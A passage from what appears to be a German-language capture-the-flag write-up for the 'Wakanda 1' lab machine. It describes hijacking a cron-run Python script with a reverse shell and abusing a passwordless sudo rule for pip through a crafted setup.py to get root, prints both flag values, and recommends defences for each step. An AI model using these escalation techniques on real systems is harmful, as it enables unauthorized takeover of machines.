Schritt 2: Vorbereitung und Ausführung des Exploits

Analyse: Als Benutzer `mamadou` wurde der Inhalt von `/srv/.antivirus.py` mit einem Python-Reverse-Shell-Payload überschrieben. Ein Netcat-Listener wurde auf dem Angreifer-System gestartet.
Bewertung: Nach einer Wartezeit (ca. 2 Minuten laut Hinweis) wurde das modifizierte Skript ausgeführt, stellte eine Verbindung zum Listener her und lieferte eine Shell.
Ergebnis des POC: Das Hijacking des automatisiert ausgeführten Skripts ermöglichte die Eskalation der Rechte von `mamadou` zu `devops`.
Risikobewertung: Mittel bis Hoch. Hängt stark von den Berechtigungen der Skriptdatei und den Rechten des ausführenden Benutzers ab.
Empfehlung (Defensiv): Skripte, die von automatisierten Prozessen (Cron) ausgeführt werden, sollten korrekte, restriktive Berechtigungen haben (nicht schreibbar für unprivilegierte Benutzer). Cronjobs sollten mit dem minimal notwendigen Benutzerkontext laufen. Dateiintegritätsüberwachung einsetzen.

Proof of Concept (Pip Sudo Abuse)

Schwachstelle: Unsichere `sudoers`-Konfiguration, die dem Benutzer `devops` erlaubt, `/usr/bin/pip` ohne Passwort als Root auszuführen (`(ALL) NPASSWD: /usr/bin/pip`).
Ziel des POC: Nachweis, dass diese Berechtigung missbraucht werden kann, um beliebigen Code als Root auszuführen und eine Root-Shell zu erhalten.
Voraussetzungen: Zugriff als Benutzer `devops`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `devops` zeigt die Regel `(ALL) NPASSWD: /usr/bin/pip`.

Schritt 2: Ausnutzung mittels präpariertem Paket

Analyse: Ein temporäres Verzeichnis wird erstellt. In diesem Verzeichnis wird eine Datei `setup.py` mit Python-Code erstellt, der eine Shell startet. Anschließend wird `sudo pip install` auf dieses Verzeichnis angewendet.
Bewertung: Der `pip install`-Befehl führt die `setup.py`-Datei aus, um das "Paket" zu installieren. Da `pip` mit `sudo NOPASSWD` ausgeführt wird, läuft auch die `setup.py` als Root. Der Shell-Payload in `setup.py` wird somit als Root ausgeführt und startet eine Root-Shell.
Ergebnis des POC: Die unsichere `sudo`-Regel für `pip` wurde erfolgreich ausgenutzt, um eine Root-Shell zu erlangen.
Risikobewertung: Kritisch. Ermöglicht einem lokalen Benutzer mit dieser `sudo`-Regel die vollständige Systemübernahme.
Empfehlung (Defensiv): Paketmanagern wie `pip`, `apt`, `yum` etc. niemals uneingeschränkte `sudo`-Rechte gewähren. Wenn spezifische Paketoperationen erlaubt werden müssen, dies über dedizierte Skripte oder sehr spezifische `sudo`-Regeln tun, die keine beliebige Codeausführung erlauben. `NOPASSWD` nur äußerst sparsam und für ungefährliche Befehle verwenden.

Flags

Analyse: Die User-Flag (`flag1.txt`) wurde im Home-Verzeichnis von `mamadou` gefunden. Die Root-Flag (`root.txt`) wurde nach Erlangung der Root-Rechte im `/root`-Verzeichnis gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

mamadou@Wakanda1$ cat flag1.txt
d86b9ad71ca887f4dd1dac86ba1c4dfc
# cat /root/root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;;:;:;:;:;;:;:;:\
    \\\:;:;:;:;:;;:;;:;:;:\
     \\\:;;:;:;:;:;;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc